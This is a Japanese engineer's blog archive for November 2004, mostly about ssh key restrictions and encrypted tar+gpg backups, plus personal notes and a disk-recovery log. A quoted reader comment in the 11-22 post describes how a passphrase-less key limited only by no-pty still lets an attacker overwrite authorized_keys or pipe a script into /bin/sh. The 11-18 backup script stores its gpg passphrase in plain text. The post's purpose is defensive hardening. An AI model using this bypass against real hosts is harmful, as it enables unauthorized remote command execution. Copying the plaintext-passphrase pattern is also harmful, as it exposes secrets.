Landscape トップページ | < 前の月 2004-10 2004-11 次の月 2004-12 >

Landscape - エンジニアのメモ 2004-11

月ごとの記事一覧
2007年: 1月 2月 3月 4月 5月 6月 7月 8月 9月 10月 11月 12月
2006年: 1月 2月 3月 4月 5月 6月 7月 8月 9月 10月 11月 12月
2005年: 1月 2月 3月 4月 5月 6月 7月 8月 9月 10月 11月 12月
2004年: 1月 2月 3月 4月 5月 6月 7月 8月 9月 10月 11月 12月
2003年: 1月 2月 3月 4月 5月 6月 7月 8月 9月 10月 11月 12月
2002年: 1月 2月 3月 4月 5月 6月 7月 8月 9月 10月 11月 12月
日ごとのページ
2004-11/ 1日 2日 3日 4日 5日 6日 7日 8日 9日 10日 11日 12日 13日 14日 15日 16日 17日 18日 19日 20日 21日 22日 23日 24日 25日 26日 27日 28日 29日 30日

2004-11-30 (Tue)

* 花梨 (かりん) の実を車の香りづけに使う

この記事の直リンクURL: Permlink | この記事が属するカテゴリ: []

母の実家に行ったとき、花梨の実をもらってきた。洋梨のような色合いで、大きさは私の拳よりも一回りほど大きい。そして何より、素晴らしい良い香りがする。

祖父の話では、丸のまま車の中に2個ばかり置いておいて、香りを楽しむのに使うとのこと。香りのよさ、自然さの点で、化学合成された市販の芳香剤とは比べものにならないそうだ。とても贅沢な話だ。特に何もしなくても2週間は持つらしい。

そういえば、母もりんごの実を車に入れていたなあ。というわけで車に入れておいた。朝に車のドアを開けて運転席に乗り込むと、花梨の香りが漂ってくる。うーん、いいにおいがする。上質なウイスキーのような香りだ。あ、逆か。ウイスキーが果物のような香りなんだよね。朝からよい気分だ。確かに芳香剤とは比較にならない。

2004-11-29 (Mon)

* chalow が出力する RSS に CDATA で全文を入れる

この記事の直リンクURL: Permlink | この記事が属するカテゴリ: [chalow] [ChangeLog メモ] [RSS]

たつをさんが面白そうなことを始めてるなあ、と思ったらあっという間にいろいろできてた。さすがだ。

- chalowでitem別ページ

http://nais.to/~yto/clog/2004-11-27-3.html

item 別ページ大歓迎。私もこれやろうとしたんですよ。削除アイテムの扱いをどうするか、2004-01-25 の「記事単位での html 出力と記事の削除」で悩んだり。そのときの結論も「削除しない」とか、「削除したらダミーの記事を追加する」とかだった。でも結局、一個ずつファイル作ってたら infoseek では 50MB しかディスク容量が使えないためにあっという間に制限を超えてしまうので断念。もっと容量を使えるサーバに移転すればいいんだけど URL 変えたくないしなあ。

「一記事一 URI」って美しい。SEO を意識してというよりも、自分を含む読み手のことを考えると自然とこうなる。Google の検索結果で、「Landscape - エンジニアのメモ 2004-01-08 」って表示されるより、そのものズバリの「gpg で標準入力からパスワードを渡してバッチ処理で暗号化」って表示された方がわかりやすい。

- item 数と html 生成・ファイル転送

5671 - 「たつをの ChangeLog」の公開item数
http://nais.to/~yto/clog/2004-11-28-2.html
今までの日付ページ1650、月ページ59も引き続き出力するので、8400ページ近くになる。昨晩、rsyncでWebサーバに転送したら35分かかった。

すごい数・・・。こうなってくると DB 使ったり動的生成したくなってきたりするなあ。これもいつもジレンマなんだよなあ。ChangeLog メモの良さを損なわずにいかに便利にスケーラブルにするかは悩ましい問題。

- ChangeLog パーサ

ChangeLogの読み込みとハッシュへの格納
http://nais.to/~yto/clog/2004-11-28-5.html
こういうライブラリがあると実に便利。あとはハッシュへのアクセスを抽象化してあげれば ChangeLog メモクラスとして完成するなあ。エンティティクラスであるためシンプルで使いやすそう。

- RSS に全文入れる

chalow の RSS の description で CDATA
http://nais.to/~yto/clog/2004-11-29-1.html
これからは CDATA で全部どかっと行く。

bloglines で読んでいたら突然全文を読めるようになったのはこういうわけか。素晴らしい。2004-10-26 の「content:encodedが足りねぇ… じゃんじゃん 持ってこい」でも書いたように、私は全文入った RSS が大好き。記事単位でサクサク読めるのが最高。

で、その RSS を Bloglines で見てみると、
相対URLがおかしくなってるなあ。2004-11-27-3.html を
http://nais.to/2004-11-27-3.html にしちゃってる。

私は RSS 中の 相対 URL の補完は以下のように簡単に置換しています。私の場合、../ などの処理は考慮する必要がなかったので楽でした。複雑な相対パスを指定してる場合はちょっとだけ手間が増えますね。
# " のあとに http が無かったら補完。
my $home_page_url = 'http://sonic64.com/';
my $content = RSS_DOCUMENT

$content =~ s%(<a href|<img src)="(?!(https?|JavaScript):)%$1="$home_page_url%ig;

- chalow の機能強化

chalow の不満な所が一気に無くなってゆく
http://tokuhirom.tdiary.net/20041129.html#p03
これまでのバージョンの chalow で気にくわなかった所は

エントリごとのページが生成されない
SEO 的にマズー
見た目的にもマズー
RSS に本文そのものが入らない
という所だったのですが、全部解消って感じですね。

あと、なんかあったっけ?

私は記事の通し番号が変わるという問題を解決したいですね。この問題は私の使い方が変わっていることが原因ですが。

私は LAN の中にだけ公開したい文書は L: カテゴリを指定しています。L カテゴリの文書は、web に出す html を生成するときは p: を指定したプライベートアイテムと同じように削除されます。

この結果、LAN の中だけに公開される文書と web で公開可能な記事が入り交じると、出力先によって記事の数が変わってしまい、同じ記事なのに LAN の中と外で番号が変わってしまうという問題があります。その結果、2004-11-29-1 という日付参照 + アイテム参照の順序が狂います。

これは記事番号の採番を一元的に行う主体や方法がないのが原因で、シンプルなツールなら仕方のないことなんですけどね。

あ、でもなんとかできそうな気がしてきた。結局、出力ファイルの名前空間が YYYY-MM-DD.html や YYYY-MM-DD-ITEM.html しかないから問題になる。だったら、パースの時に独立した名前空間ごとに記事を格納するようにして、html 出力の時も NameSpace-YYYY-MM-DD.html みたいにして名前空間付きでファイル名を生成すればいい。

以前に、「p: を指定されたプライベートアイテムだけを出力したページが欲しい」という要望があったけど、これならできそう。パーサはプライベートアイテムだけのエントリを消すのではなく、プライベートアイテムだけを独立した名前空間に格納してやると。で、html 出力部分 にどの名前空間のデータを渡すかはコントローラが決めるので、p 付きのデータを出力するようなコントローラを書けばいい。

2004-11-28 (Sun)

* 朝10時までに仕事は片づける を読了

この記事の直リンクURL: Permlink | この記事が属するカテゴリ: []



私は夜型。仕事場に向かうために部屋を出るのは、早くて午前9時くらい。一時期、仕事場の都合で9時が仕事開始時刻になっていて8時過ぎくらいに部屋を出ていた時期があるが、恩恵は少なかった。

道路はいつもより渋滞していて、運転しててもあまり楽しくない。
朝は掃除してる人がいたり、受ける電話が多かったりするのに電話担当が居なかったりとノイズが多い。
仕事の終了時刻はほとんど変わらない。
早出を強制されてることもあり、精神的な余裕が生まれにくい。

まあ8時出ってぜんぜん朝型じゃないんだけど、いつもより早く出ることがこんなに大変なのか、ということを実感するにはまったく十分だった。しかも恩恵が少なかったので、今の私には朝型に切り替える動機がない。でも、朝型にするといいよー、朝型、もう最高! という意見は多い。じゃあ朝型にして多大な恩恵を受けられるパターンってどんなものなのか、ということを見るためにこの本を読んだ。

- 「朝10時までに仕事は片づける」の傾向

朝型生活についての記述は多くない。朝型でなくても使える一般的な仕事術や、成果主義など著者の仕事観について書かれている。読了までの所要時間は2時間弱。丁寧語で書かれていて、かつ肯定的な表現が多いため歯切れが良く読みやすい。

- 「朝10時までに仕事は片づける」に書いてあった事の要約とメモ

朝型にするのは、空き時間を作るため。能動的に作った時間は効率的に使える可能性が高い。また、体が慣れると朝の方が頭は働かせやすい。

スケジューリングは大切。仕事には必ず期限を設定し、常に前倒しで動け。
言ってることは正しい。

「巧遅 - 巧みではあるが完成が遅い」よりも「拙速 - 出来は悪いが仕上がりは早い」の方がいい。
これは確かにそうだ。とりあえず出してしまったがいい。時と場合によるけど。

話し方のコツ。結論を先に。肯定的表現を常に意識的に使う。未来についての要素を入れる。
「未来についての要素を入れる」は詳しい説明が無かった。現状分析だけでなく展望と見通しを盛り込めということを言いたいんだとは思う。

電通の吉田秀夫社長の「鬼十則」の6番。周囲を「引きずり回せ」、引きずるのと引きずられるのとでは、永い間に天地の開きができる。
なんかトラブルメーカー推奨っぽいことを言っているような気がするが、そうじゃなくて要するに鶏口牛後ってことね。

世界全体で見るとやっぱり成果主義で競争社会。頑張って働いた人が多くの収入を得る。
世界全体で見ると正しい意見だとは思う。

考えてみれば「仕事は朝十時までに終わらせてしまえ」などというのも、仕事好きの一部の人間には首肯されても、仕事より趣味に人生の生きがいを感じている方々にとっては迷惑千万な主張かもしれません。
でも朝型人間は、最近確実に増えてきています。私の顧問先の企業でも、夜の十二時頃まで働いて、朝七時前には出てくる若手が増えてきているそうです。確かにそのような企業は、こんな時代でも業績がいい。社員が嬉々として働いているからです。

202ページから。この部分は、「社員を嬉々として働かせられない企業ではダメ」、「嬉々としてやれる仕事を選べ」ってことかな。

- 鬼十則

106ページに書かれていた鬼十則。Google で鬼十則を検索したら山ほどヒットした。

電通鬼十則(雑誌「致知」より)
http://www2.ocn.ne.jp/~nakahiro/20030521.htm
1.仕事は自ら創るべきで、与えられるべきではない。
2.仕事とは、先手先手と働きか掛けていくことで、受け身でやるものではない。
3.大きな仕事と取組め! 小さな仕事は己を小さくする。
4.難しい仕事を狙え! そしてこれを成し遂げるところに進歩がある。
5.取組んだら放すな! 殺されても放すな! 目的を完遂するまでは...。
6.周囲を引きずり回せ! 引きずるのと引きずられるのとでは、永い間に天地の開きができる。
7.計画を持て! 長期の計画を持っていれば、忍耐と工夫と、そして正しい努力と希望が生まれる。
8.自信を持て! 自信が無いから君の仕事には、迫力も粘りも、そして厚みすらがない。
9.頭は常に全回転、八方に気を配って、一部の隙もあってはならぬ! サービスとはそのようなものだ。
10.摩擦を怖れるな! 摩擦は進歩の母、積極の肥料だ。でないと君は卑屈未練になる。

2004-11-25 (Thu)

* proxy 自動設定ファイル proxy.pac が有効かどうか確認

この記事の直リンクURL: Permlink | この記事が属するカテゴリ: [メモ]

禁断の壷 proxy 自動設定ファイル http://sonic64.com/2chturbo/ についての質問があったのでメモ。

【高速】2ちゃんねるターボ 8壷目(初心者歓迎)
http://pc5.2ch.net/test/read.cgi/software/1097323557/458-460
458 :名無しさん@お腹いっぱい。 [sage] :04/11/25 01:03:08 ID:bWZFTRxW
proxy 自動設定ファイル がちゃんと効いてるかどうか
どうやってわかるんですか?
2ちゃん関連以外のところの読み込みが速い・・・かなあ
差がよくわからないんだけど。


459 :名無しさん@お腹いっぱい。 [sage] :04/11/25 01:25:23 ID:6JFeGdJ1
>458
壷だけ終了させたときに、他のサイトの閲覧ができて、
2chが見れないなら効いてる。


460 :名無しさん@お腹いっぱい。 [sage] :04/11/25 01:51:44 ID:bWZFTRxW
>>459
あっそうか!ありがとうございます。
できてました。

2004-11-23 (Tue)

* Windows2000 が INACCESSIBLE_BOOT_DEVICE エラー

この記事の直リンクURL: Permlink | この記事が属するカテゴリ: [PC]

Windows2000 が 起動途中に INACCESSIBLE_BOOT_DEVICE エラーを出すようになり、OS が起動しなくなった。

- はじまりは夕ごはん

PC を立ち上げたまま、ディスプレイだけ電源を落として夕食を取りに出かけた。

戻ってきてディスプレイをつけてみると、なぜかタスクトレイの時計が一時間ほど前の時刻を表示している。なんで? と思いつつ、マウスを操作してもマウスポインタが動かない。Windows2000 SP4 はフリーズしていたのだった。

- またディスククラッシュ?

CTRL + ALT + DEL を押すが、反応がない。まずいな。仕方なくマシンのリセットボタンを押す。しばらくして BIOS が表示され、Windows2000 が起動し始めた。しかし、ここでハードディスクから同じ部分をシークし続けるような駆動音がきこえてくる。しばらくすると INACCESSIBLE_BOOT_DEVICE というエラーが出て、ブルースクリーンになってしまう。エラーメッセージは、「ウイルスがいるかも」とか、「chkdsk /F をやってね」とか書いてあった。コピペできないので正確なメッセージは覚えてないが、大意は上記のようなものだった。MS のサイトには以下の文書があった。

"STOP: 0x0000007B" または "0x4,0,0,0" エラーのトラブルシューティング
http://support.microsoft.com/default.aspx?scid=kb;ja;122926

2004-10-31 の「Maxtor 6Y160L0 ハードディスクがクラッシュ」で書いたように、先月ディスククラッシュしたばかりだ。またなのかーと思ったが、もしかしたらこれはハードウェア的な障害ではなく、NTFS ファイルシステムのクラッシュなどに起因するソフトウェア的なデータ不整合障害かもしれない。

先月のディスクのハードウェア的なクラッシュだと、起動途中にディスクがカッコンカッコンと異音を出して OS が固まってしまうが、今回は OS 自体は途中までブートしている。それに OS がエラーをきちんとハンドリングしている。ファイルシステム的な障害だけかもしれない。

- 障害発生ドライブの切り分け

私のマシンは今4台のハードディスクがつながっている。
どのドライブがエラーの原因になっているのかを切り分けるため、とりあえずマシンのカバーを外す。まあ、INACCESSIBLE_BOOT_DEVICE というからにはブートに必要なシステム系ファイルが納められたパーティションのエラーなんだろうけど。

システム c:\winnt が入ったドライブのみ残して、あとは全て IDE ケーブルと 電源ケーブルを外す。そしてブート。再び同じエラーを出してブルースクリーン。やはりシステムが入ったドライブが悪いのか。

- 別ディスクに Windows2000 をインストール

エラーメッセージは chkdsk を実行しろと言っているが、それを実行できる環境がない。だって OS が起動しないと chkdsk できないから。ブートフロッピーディスクやインストール CD から chkdsk を実行できるのかもしれないが、それらの方法を調べるよりも、Windows2000 を余っている別のディスクにインストールして、それに障害が出たドライブを接続して chkdsk する方が確実だと判断した。

小一時間弱で Windows2000 をインストール完了。とりあえず 48bit LBA に対応させるために、Intel Application Accelerator をインストール。よし、OK。電源を切って、障害が出たドライブを接続。

- chkdsk で復活

Windows2000 ブート中に自動で chkdsk がかかった。15分くらいかかっただろうか? Bad Sector が 4 と記録された。その後 OS は無事に起動。エクスプローラで障害の出たドライブを開くと、問題なく開けた。イベントログには以下のような記録があった。

Checking file system on D:
The type of the file system is NTFS.


One of your disks needs to be checked for consistency. You
may cancel the disk check, but it is strongly recommended
that you continue.
Windows will now check the disk.
Cleaning up minor inconsistencies on the drive.
Cleaning up 18 unused index entries from index $SII of file 0x9.
Cleaning up 18 unused index entries from index $SDH of file 0x9.
Cleaning up 18 unused security descriptors.
Read failure with status 0xc0000185 at offset 0xffeae000 for 0x10000 bytes.
Read failure with status 0xc0000185 at offset 0xffeb0000 for 0x1000 bytes.
Replacing bad clusters in logfile.
Adding 1 bad clusters to the Bad Clusters File.
Correcting errors in the Volume Bitmap.
Windows has made corrections to the file system.

  8385898 KB total disk space.
  2515340 KB in 28646 files.
      9136 KB in 2767 indexes.
        4 KB in bad sectors.
    210198 KB in use by the system.
    43984 KB occupied by the log file.
  5651220 KB available on disk.

      4096 bytes in each allocation unit.
  2096474 total allocation units on disk.
  1412805 allocation units available on disk.

- このディスクを使い続けるのは怖いけど・・・。

不良セクタの出たディスクって使い続けてよいものなんだろうか? そもそも、これってハードウェア的な不良セクタなのかな。ソフトウェア的な不良だったら chkdsk で直ってるだろうし・・・、やっぱりハードウェア的な物なんだろうな。ハードウェア的な障害だったらもう怖くて使えない。とりあえずもう一本ディスク買ってこようかなあ。

2004-11-22 (Mon)

* authorized_keysに書く no-pty と command="" の意味

この記事の直リンクURL: Permlink | この記事が属するカテゴリ: [ssh]

2004-11-17 に書いた「ssh scp sftp の正しい自動実行方法」の誤りについて指摘を頂いた。

ssh scp sftp の正しい自動実行方法 ぴろ日記
http://www.banana-fish.com/~piro/20041122.html#p01
> 下記は公開鍵の例。引用の際に改行を入れてしまっているが、実際は一行。
> from="*.example.com",no-port-forwarding,no-X11-forwarding, no-agent-forwarding,no-pty ssh-dss AAAAB3N...

えっと、authorized_keys自体を書き換えられる権限を、パスフレーズなしの鍵に与えてしまうと、結局ノーガードと同じことになってしまうです。悪い人の鍵でなんでもできるようにしたauthorized_keysをリモートにscpして一丁あがり。
あと、これも時々目にする勘違いだけど、「no-pty」は仮想端末とれなくなるだけで、シェルが取れなくなるわけじゃないので、仮想端末取らないで「ssh remotehost '/bin/sh' < 悪のスクリプト」とかやるだけの話。

指摘してくださってありがとうございます。穴を開けたまま運用するところでした。

確かに、上記のオプションのみに権限の限定を頼った場合、authorized_keys2 を上書きできてしまいますね。http://www.banana-fish.com/~piro/20040609.html#p06 に書かれてたことをスクリプトに反映できてない悪い見本になってました。2004-11-172004-11-18 の関連する部分に追記しました。なんで気づかなかったんだろう。

no-pty については誤解していました。なるほど、no-pty だけでは不十分というか、そもそも用途が違うわけですね。実行するコマンドを制限するなら、commmand="" を使わないと無意味だと。勉強になりました。実際に試してみたら楽勝で任意のコマンドをリモートで実行することができました。指摘を含め、2004-11-17 に追記しました。

2004-11-17 を書く前に、command="sleep 80000;" と no-pty をオプションに追加した公開鍵で scp を試していたのですが、sleep だけされてファイルの転送が全くなされないという結果に終わったため、command="" を外した権限の限定が不十分な公開鍵となったのでした。

その後は 2004-11-20 の以下のやり方を使うようにしています。
no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,command="umask 077; f=backup`date +%F-%H%M%S`.encoded; echo $f; cat >/home/hiroaki/backup/$f;",from="*.example.com" ssh-dss AAAAB3N (略)

2004-11-20 (Sat)

* ssh + tar で安全なファイルコピー

この記事の直リンクURL: Permlink | この記事が属するカテゴリ: [シェルスクリプト] [ssh] [バックアップ]

2004-11-18 の「scp + tar + gpg で暗号化ネットワークバックアップ」について指摘を頂いた。

Misc Change Log 安全なファイルコピー
http://quasiquote.org/log/Memo/ssh_filecopy.html
http://sonic64.hp.infoseek.co.jp/2004-11-18.html#2004-11-18-1

ssh + tar じゃいかんのかいな。 rsh の時代からの基本だと思うのだが。

(cd path && tar cf - .) | ssh user@hostname "(cd path && tar xvfp -)"
暗号化したければ、送信側は tar の後、受信側は tar の前にいれてやればよい。何のために ssh 使ってるかわからないけど。

メンドイが、scp や sftp でもできなくはない。ヒントは mkfifo。でも本末転倒。だって scp も sftp も ssh のラッパーだから(少なくとも OpenSSH は。他の処理系はどうなのかな?)。

なんか変なこと書いてる?

ありがとうございます。恥ずかしながら、「rsh の時代からの基本」を知りませんでした。そもそも rcp や rsh は使ったことなかったりします。ssh + tar なら、出力を直接標準入力に渡したいという要件は満たしています。

2004-11-18 の「scp + tar + gpg で暗号化ネットワークバックアップ」を書いた後、FreeBSD QandA 2255 http://www.jp.freebsd.org/QandA/HTML/2255.html を読んでいて、ssh の標準入出力を使う方法があることを知って試してみてはいました。ただ、使い勝手とセキュリティの兼ね合いがまだできてなかったので公開してませんでした。

ローカルマシンで以下を実行し、tar + gpg したデータを ssh に渡してアップロードする。
echo $PASS_PHRASE | { tar --bzip2 -cf - $TAR_TARGET |gpg --batch -c --cipher-algo AES256 --force-mdc --passphrase-fd 3;} 3>&0 |ssh -i $HOME/.ssh/auto $REMOTE_SERVER -l $REMOTE_USER

上記コマンドで使っている公開鍵。
no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,command="umask 077; f=backup`date +%F-%H%M%S`.encoded; echo $f; cat >/home/hiroaki/backup/$f;" ssh-dss AAAAB3N (略)

command="" と no-pty を使って安全性を高められるのは良いんですが、出力先ファイル名がリモート側で生成されることが不便。環境変数 SSH_ORIGINAL_COMMAND を使うか、それとも他にもっと良い方法ないかなーと探している状態でした。でもこれで ssh + tar + gpg + SSH_ORIGINAL_COMMAND で問題なさそうとわかったのでこの方法を使うことにします。ありがとうございました。

mkfifo は思いつきませんでした。なるほど、これなら中間ファイルを作らないというのは実現できますね。名前付きパイプって使ったことありませんでしたが、いろいろ面白いことができそう。

- ssh を使ってるのに、なぜわざわざ gpg でファイルを暗号化するのか

何のために ssh 使ってるかわからないけど。

ssh は経路の安全性と認証の安全性を確保するため、gpg はファイルの安全性を確保するために使っています。2004-11-18 において背景を書かずに、「このご時世に外部にデータを持ち出すなら、通信の暗号化とファイルの暗号化は必須だと思う。」で済ませてしまったのは言葉が足りませんでした。

今回の件では、遠隔地のファイルバックアップ用サーバにデータを送ることを想定していました。

共用のサーバであれば、パーミッションが甘いと他の一般ユーザにファイルを見られてしまいます。そんな事態は論外ですが。私だけが使える専用サーバだとしても、遠隔地にあるので管理者権限を持った人間が現地にいます。悪意を持った管理者ならファイルを見ることができてしまいます。

また、万が一マシンが盗難などにあうと、盗んだ人間にもデータの中身を見られてしまいます。もちろん、盗難などに備えて、設備管理者は防犯対策を、システム管理者はファイルシステムの暗号化などの対策はやっておくべきです。同じように、一般ユーザである私にできることがあるならやっておこう、という意味で GPG を使ったファイルの暗号化を施しています。

セキュリティは各担当者の積み重ねの結果確保できるものであって、各担当者が手を抜いた場合、手を抜かれた箇所に依存する部分の安全性が揺らいでしまいますしね。

- 訂正

追記。やっぱり変なこと書いてた。リモートマシンで pgp したいのか。全然読んでなかったorz

なら上のスクリプトを実行後、

ssh user@hostname "(cd path && find . -type f -exec gpg options {} \;)"
でどうよ? gpg は使ってないので知らない。ので、オプションは適当に。 tar ファイルで送ったものを単に gpg したいなら(多分これがお望みの方法だろう)、

(cd path && tar cf - .) | \
ssh user@hostname "(cd path && gpg options > filename.tar.gpg)"
さらに圧縮したいなら、

(cd path && tar cf - . | bzip2 -9) | \
ssh user@hostname "(cd path && gpg options > filename.tar.bz2.gpg)"
でいい罠。

いえ、ローカルで暗号化しないとデータの安全性を確保しにくいので、暗号化はローカルでやって暗号化したデータのみを外部に送信したいところです。なぜ「リモートマシンで pgp したいのか」と解釈なさったんだろう? あ、なるほど。2004-11-18 の以下の部分ですね。

もちろんこれに gpg を組み合わせれば、転送後のリモートマシン上でのファイルの暗号化も実現できる。

確かにこれだと「リモートマシンで gpg を実行したいと」解釈できますね。表現が良くなかったので以下のように改めます。

「ssh/scp/sftp のみを使った場合はデータが暗号化されるのは通信経路上だけだが、gpg を組み合わせればリモートマシンに送ったあともデータを暗号化された状態に保つことができる。」

2004-11-19 (Fri)

* i-know.jp にサイトを追加するリンク

この記事の直リンクURL: Permlink | この記事が属するカテゴリ: [メモ]

http://i-know.jp/add.cgi?url=http://sonic64.com/ とすることで、url= 以降の文字列を i-know.jp のアンテナ編集画面に送ることができる。

はてなアンテナの http://a.hatena.ne.jp/append?http://sonic64.com/ と同じようなもの。

最初はヘルプに書いてなかったので見つけられなかったが、実際にサイト追加作業のをしてみると上述の URL に HTTP GET してるだけとわかった。

2004-11-18 (Thu)

* scp + tar + gpg で暗号化ネットワークバックアップ

この記事の直リンクURL: Permlink | この記事が属するカテゴリ: [シェルスクリプト] [バックアップ] [ssh] [gpg]

scp + tar + gpg で経路とファイルを暗号化したネットワーク・バックアップをおこなう。

- 要するに 2004-03-19 の「ftp + tar + gpgで暗号化ネットワーク・バックアップ」の置き換え

2004-03-19 に「ftp + tar + gpgで暗号化ネットワーク・バックアップ」という記事を書いた。この方法だとファイル自体は gpg によって暗号化しているので、中身を解読される可能性は低い。しかし、ftp を使っているため 経路上で ID と パスワードを盗聴されるおそれがある。ファイルの安全とアカウントの安全は別の問題だ。

無料ホームページサービスのように ftp のみのサービスしているホストの場合は盗聴に対して有効な対策をとるのが難しい。しかし、ssh をサービスしているホストなら scp や sftp を使うことで通信の暗号化を実現できる。

ssh/scp/sftp のみを使った場合はデータが暗号化されるのは通信経路上だけだが、gpg を組み合わせればリモートマシンに送ったあともデータを暗号化された状態に保つことができる。このご時世に外部にデータを持ち出すなら、通信の暗号化とファイルの暗号化は必須だと思う。

- scp 用の鍵作成

2004-11-17 の「ssh scp sftp の正しい自動実行方法」のやり方で scp 専用かつ権限を限定した鍵を作成。これを使う。

2004-11-22 追記。
2004-11-17 に書いた、command="" の指定がない公開鍵を使った場合は権限の限定が不十分。command="" を使わずに scp 専用の鍵としたいならば、ファイル転送に特化したシェルを使うなどの対策を講じないと結果的にシェルへのアクセスを許してしまうおそれがある。詳しくは 2004-11-22 「authorized_keys に書く no-pty と command="" の意味」を参照。

- scp は標準入力からデータを読んでくれない

2004-03-19 の「ftp + tar + gpgで暗号化ネットワーク・バックアップ」の利点の一つに、gpg が出力したデータを直接 ftp の標準入力に渡してアップロードする、というものがある。これのおかげで余計な中間ファイルを作らずに済む。

scp でも同じ事をしようと思ったのだが、なんと scp には標準入力からデータを読んで直接アップロードという機能がない。scp の man page を読んでみたが、代替の機能は見つけられなかった。仕方がないので一度ファイルに書き出すことにした。

scp man scp.0
http://www.unixuser.org/~euske/doc/openssh/jman/scp.html

- scp + tar + gpg で暗号化ネットワークバックアップするシェルスクリプト

というわけでできたのが以下のスクリプト。これを cron で自動実行する。

#!/bin/sh

# setup
PASS_PHRASE="MY SECRET PASS PHRASE STRING"
TAR_TARGET="/home/hiroaki/log.txt /home/hiroaki/etc /cygdrive/s/cvsroot"
OUTPUT_FILE="backup`date +%F-%H%M%S`.tar.bz2.encoded"
OUTPUT_PATH="/home/hiroaki/tmp/$OUTPUT_FILE"
REMOTE_SERVER=backup.example.com
REMOTE_USER=hiroaki
REMOTE_UPLOAD_DIR=/home/hiroaki/backup

date
echo $TAR_TARGET
echo $PASS_PHRASE | { tar --bzip2 -cf - $TAR_TARGET |gpg --batch -c --cipher-algo AES256 --force-mdc --passphrase-fd 3;} 3>&0 >$OUTPUT_PATH

echo output to $OUTPUT_PATH
scp -oIdentityFile=$HOME/.ssh/auto $OUTPUT_PATH $REMOTE_USER@$REMOTE_SERVER:$REMOTE_UPLOAD_DIR
if [ $? -ne 0 ]; then
  echo "`date` scp error" >&2
  exit 1
fi
rm -f $OUTPUT_PATH

echo backup complete
date

- scp では今回の目的には力不足

やっぱり標準入力から渡したデータをアップロードしたい。gpg の生成したファイルのハッシュをチェックしたり、scp以外のプログラムでも gpg の出力を利用したり、ローカルにもファイルをため込んだりしたい場合は一度ファイルに出力する方がいいのだが、今回はそんなことはしないし。

また、ファイルをアップロードした後にパーミッションを落としておきたいんだけど、scp では chmod などを発行できないようなのでそれもできない。umask を 077 にしておくだけじゃなくて、アップロードしたファイルに 600 を明示的に指定したいんだけどなあ。

scp コマンドがバージョンアップして機能が強化される見込みもなさそうだし。

OpenSSH FAQ
http://www.ie.openbsd.org/openssh/ja/faq.html#2.10
2.10 - scp に (なにかの機能) を追加してくれない?
短い答え: だめです。

長めの答え: scp は標準化されていないのです。それにもっとも近いものは「rcp が何をやるか」という仕様だけです。これは接続の両側で同じコマンドが使われるため、機能やオプションを追加すると異なる実装の間で相互運用できなくなる危険性があります。

新しい機能は sftp のほうが追加されやすいでしょう。なぜならこのプロトコルは標準化されていますし (まあ、 ドラフト標準ですが)、クライアントとサーバが別々になっているからです。

今回の目的には scp はあまり適していないようだ。明日は sftp を試してみよう。

2004-11-17 (Wed)

* ssh scp sftp の正しい自動実行方法

この記事の直リンクURL: Permlink | この記事が属するカテゴリ: [ssh] [セキュリティ]

scp と sftp について調べていると、正しい自動実行についての文書を見つけた。cron から scp や sftp を自動実行しようと考えている私には役に立つ文書だ。

- 「専用のパスフレーズなしの鍵を作って権限限定」がベスト

正しいssh/scpの自動運転は ぴろ日記
http://www.banana-fish.com/~piro/20040609.html#p06
おねがいだからパスワード入力をexpectで自動化なんつーバッド・ノウハウをWebで広めないでくれ。(略)
あとcronとかからssh/scpするのにssh-agentでパスフレーズ入力を自動運転ってのもバッド・ノウハウな。

正しいssh/scpの自動運転は:

自動運転専用の鍵をパスフレーズなしで作成する。
でもって、その鍵を使ってやれることを、いかにして必要最小限の作業だけに制限するかを考える

が正解(現時点では)。

必要最小限の作業に制限する方法としては、

毎回完全に同じコマンド(引数含めて)しか実行しないなら、authorized_keysでcommand='...'を使って実行できるコマンドをそれだけに制限。
ファイル転送用途だけなら、scponlyとかの転送用途に限定されたシェルをリモートのアカウントのシェルに設定する。
上記2つのケースには該当しないけれど、特定のコマンドに実行を制限したい時はrestricted shellとか。
可能ならchroot patchをあてたsshdを使ってchroot環境作るのも良い。
あるいはauthorized_keysのcommand='...'機能を使って強制的に特定のコマンドを実行された場合に、本来リモートから(ssh host 'cmd...'等で)与えられたコマンドラインが環境変数SSH_ORIGINAL_COMMANDに保存されるのを利用して、SSH_ORIGINAL_COMMANDを自前で安全に処理するコマンドを作るとか。

とかって方法が考えられる。さらに、どうしても必要最小限のコマンドに制限できない場合は、接続元のホストを制限した上で接続元ホストの方を守るのと、実行されたコマンドのログをacct等で確実に取る(必要ならアラートも飛ぶようにする)。

なるほど、鍵でできることを限定することが先決か。あとは変なイベントが上がったときに検出する仕組みを作っておくってことね。

あと、意外に多い誤解が、「パスフレーズなしの秘密鍵は(パスワード認証における)パスワードなしと同じくらい危険」とか、(略)
秘密鍵のパスフレーズは秘密鍵ファイルを暗号化してるだけのもんです。逆に言うと秘密鍵ファイルを悪者に盗まれてしまったら、たとえパスフレーズが設定されていても、↑のCrack ( http://www.crypticide.com/users/alecm/ ) みたいなオフライン攻撃が可能、つまり悪者は手に入れた秘密鍵をどっか別の安心して作業ができるマシンでじっくり辞書攻撃なり総当り攻撃なり使ってパスフレーズを探すことができる。

なので、「秘密鍵を他人に渡さない」ということの方が、パスフレーズを設定することよりも遥かに重要。パスフレーズはいざという時の時間稼ぎでしかない。

それが分かれば、ssh-agentやkeychain使うより、いさぎよくパスフレーズなしにしちゃった方がいいってのも分かると思う(自動運転の場合ね)。だって、適切なパーミッションが設定されている秘密鍵ファイルを盗める人間(rootとか)なら、常駐しているssh-agent/keychainも乗っ取れるでしょ。パスフレーズ設定してる意味がない。「なんかの拍子にssh-agentのプロセスが死んじゃってて(めったにないけど)、自動運転に失敗した」とか、「サーバをリブートするたびに、パスフレーズ入力してssh-agent起動しないといけない(運用担当者全員にパスフレーズ教えないといけない)」とかって、余計な手間が増えるだけ。

確かに。再起動の度に ssh-agent 起動はやだなあ。ここでまた運用ミスが発生しかねないし。だったらパスフレーズ無しの方が理にかなってる。結局セキュリティは利便性とトレードオフになることが多い。今回の件では妥当な判断だと思う。

- 自動実行用の鍵作成

というわけで実際に権限を限定してみる。今回は authorized_keys2 レベルの話。ファイアウォールとか OS の話は別次元。そういうのは ssh に限らないレベルの話なのですべてやってあることが前提。

自動実行専用の鍵を作成。-N オプションでパスフレーズを指定できる。今回は空で作成した。
$ ssh-keygen.exe -t dsa -N "" -f ~/.ssh/auto_execute

